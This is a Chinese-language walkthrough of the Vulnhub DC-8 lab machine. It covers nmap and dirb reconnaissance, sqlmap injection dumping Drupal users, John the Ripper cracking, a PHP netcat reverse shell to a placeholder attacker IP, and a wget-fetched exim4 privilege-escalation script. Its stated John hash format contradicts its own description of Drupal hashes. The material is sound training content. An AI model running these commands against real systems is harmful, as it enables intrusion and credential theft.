Vulnhub靶机DC系列-DC8
字数 1005 2025-08-15 21:33:24

DC-8 靶机渗透教学文档

靶机概述

  • 名称:DC-8
  • 来源:Vulnhub
  • 难度:中级
  • 特点:包含双因素认证绕过挑战
  • 目标:绕过双因素认证,获取root权限并读取flag
  • 技术要点:SQL注入、Drupal CMS利用、PHP代码执行、本地提权

环境准备

  1. 下载靶机:https://www.vulnhub.com/entry/dc-8,367/
  2. 使用VMware或VirtualBox导入
  3. 网络模式:桥接模式
  4. 攻击机:Kali Linux

信息收集

1. 发现目标IP

nmap -sn 192.168.3.0/24

2. 端口扫描

nmap -sV -A -p- <靶机IP>

预期发现:

  • 80端口:Drupal CMS
  • 22端口:SSH(带双因素认证)

Web渗透

1. 目录扫描

dirb http://<靶机IP>/

发现重要文件:

  • robots.txt
  • 登录页面(如/user/login

2. Drupal版本识别

通过以下方式判断版本:

  • 页面源代码
  • CHANGELOG.txt
  • README.txt

3. SQL注入利用

  1. 发现存在SQL注入的参数(通常在URL中)
  2. 使用sqlmap进行自动化注入:
sqlmap -u "http://<靶机IP>/path?param=value" --dbs
  1. 提取关键数据:
sqlmap -u "http://<靶机IP>/path?param=value" -D drupal -T users --dump

4. 密码破解

Drupal使用特殊哈希格式,使用John the Ripper破解:

john pwd --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5

获取Shell

1. 后台PHP代码执行

  1. 登录Drupal后台
  2. 找到可执行PHP代码的功能模块
  3. 写入反弹shell代码:
<?php system("nc -e /bin/bash <攻击机IP> 1234"); ?>

2. 设置监听

在攻击机:

nc -lvnp 1234

3. 触发执行

提交包含恶意代码的表单或请求

权限提升

1. 初始信息收集

whoami
id
uname -a
find / -perm -u=s -type f 2>/dev/null

2. 发现exim4提权漏洞

  1. 检查exim4版本:
exim4 --version
  1. 搜索相关漏洞(如CVE-2016-1531)

3. 利用exim4提权

  1. 下载exp到靶机:
wget http://<攻击机IP>/46996.sh
  1. 修复文件格式:
vim 46996.sh
:set ff=unix
:wq
  1. 赋予执行权限:
chmod +x 46996.sh
  1. 执行提权:
./46996.sh

或直接创建文件执行:

echo '提权代码' > exploit.sh
chmod +x exploit.sh
./exploit.sh

获取Flag

提权成功后:

cd /root
cat flag.txt

关键点总结

  1. SQL注入:仔细测试所有参数,特别是Drupal的URL参数
  2. 密码破解:注意Drupal的特殊哈希格式
  3. 双因素认证绕过:通过Web漏洞获取shell而非直接突破SSH
  4. exim4提权:注意exp文件格式问题(DOS到UNIX转换)
  5. 文件传输:当直接执行失败时,尝试在靶机直接创建文件

参考资源

  1. Drupal漏洞利用:https://www.drupal.org/security
  2. exim4漏洞详情:CVE-2016-1531
  3. John the Ripper格式:https://www.openwall.com/john/doc/
DC-8 靶机渗透教学文档 靶机概述 名称:DC-8 来源:Vulnhub 难度:中级 特点:包含双因素认证绕过挑战 目标:绕过双因素认证,获取root权限并读取flag 技术要点:SQL注入、Drupal CMS利用、PHP代码执行、本地提权 环境准备 下载靶机:https://www.vulnhub.com/entry/dc-8,367/ 使用VMware或VirtualBox导入 网络模式:桥接模式 攻击机:Kali Linux 信息收集 1. 发现目标IP 2. 端口扫描 预期发现: 80端口:Drupal CMS 22端口:SSH(带双因素认证) Web渗透 1. 目录扫描 发现重要文件: robots.txt 登录页面(如 /user/login ) 2. Drupal版本识别 通过以下方式判断版本: 页面源代码 CHANGELOG.txt README.txt 3. SQL注入利用 发现存在SQL注入的参数(通常在URL中) 使用sqlmap进行自动化注入: 提取关键数据: 4. 密码破解 Drupal使用特殊哈希格式,使用John the Ripper破解: 获取Shell 1. 后台PHP代码执行 登录Drupal后台 找到可执行PHP代码的功能模块 写入反弹shell代码: 2. 设置监听 在攻击机: 3. 触发执行 提交包含恶意代码的表单或请求 权限提升 1. 初始信息收集 2. 发现exim4提权漏洞 检查exim4版本: 搜索相关漏洞(如CVE-2016-1531) 3. 利用exim4提权 下载exp到靶机: 修复文件格式: 赋予执行权限: 执行提权: 或直接创建文件执行: 获取Flag 提权成功后: 关键点总结 SQL注入 :仔细测试所有参数,特别是Drupal的URL参数 密码破解 :注意Drupal的特殊哈希格式 双因素认证绕过 :通过Web漏洞获取shell而非直接突破SSH exim4提权 :注意exp文件格式问题(DOS到UNIX转换) 文件传输 :当直接执行失败时,尝试在靶机直接创建文件 参考资源 Drupal漏洞利用:https://www.drupal.org/security exim4漏洞详情:CVE-2016-1531 John the Ripper格式:https://www.openwall.com/john/doc/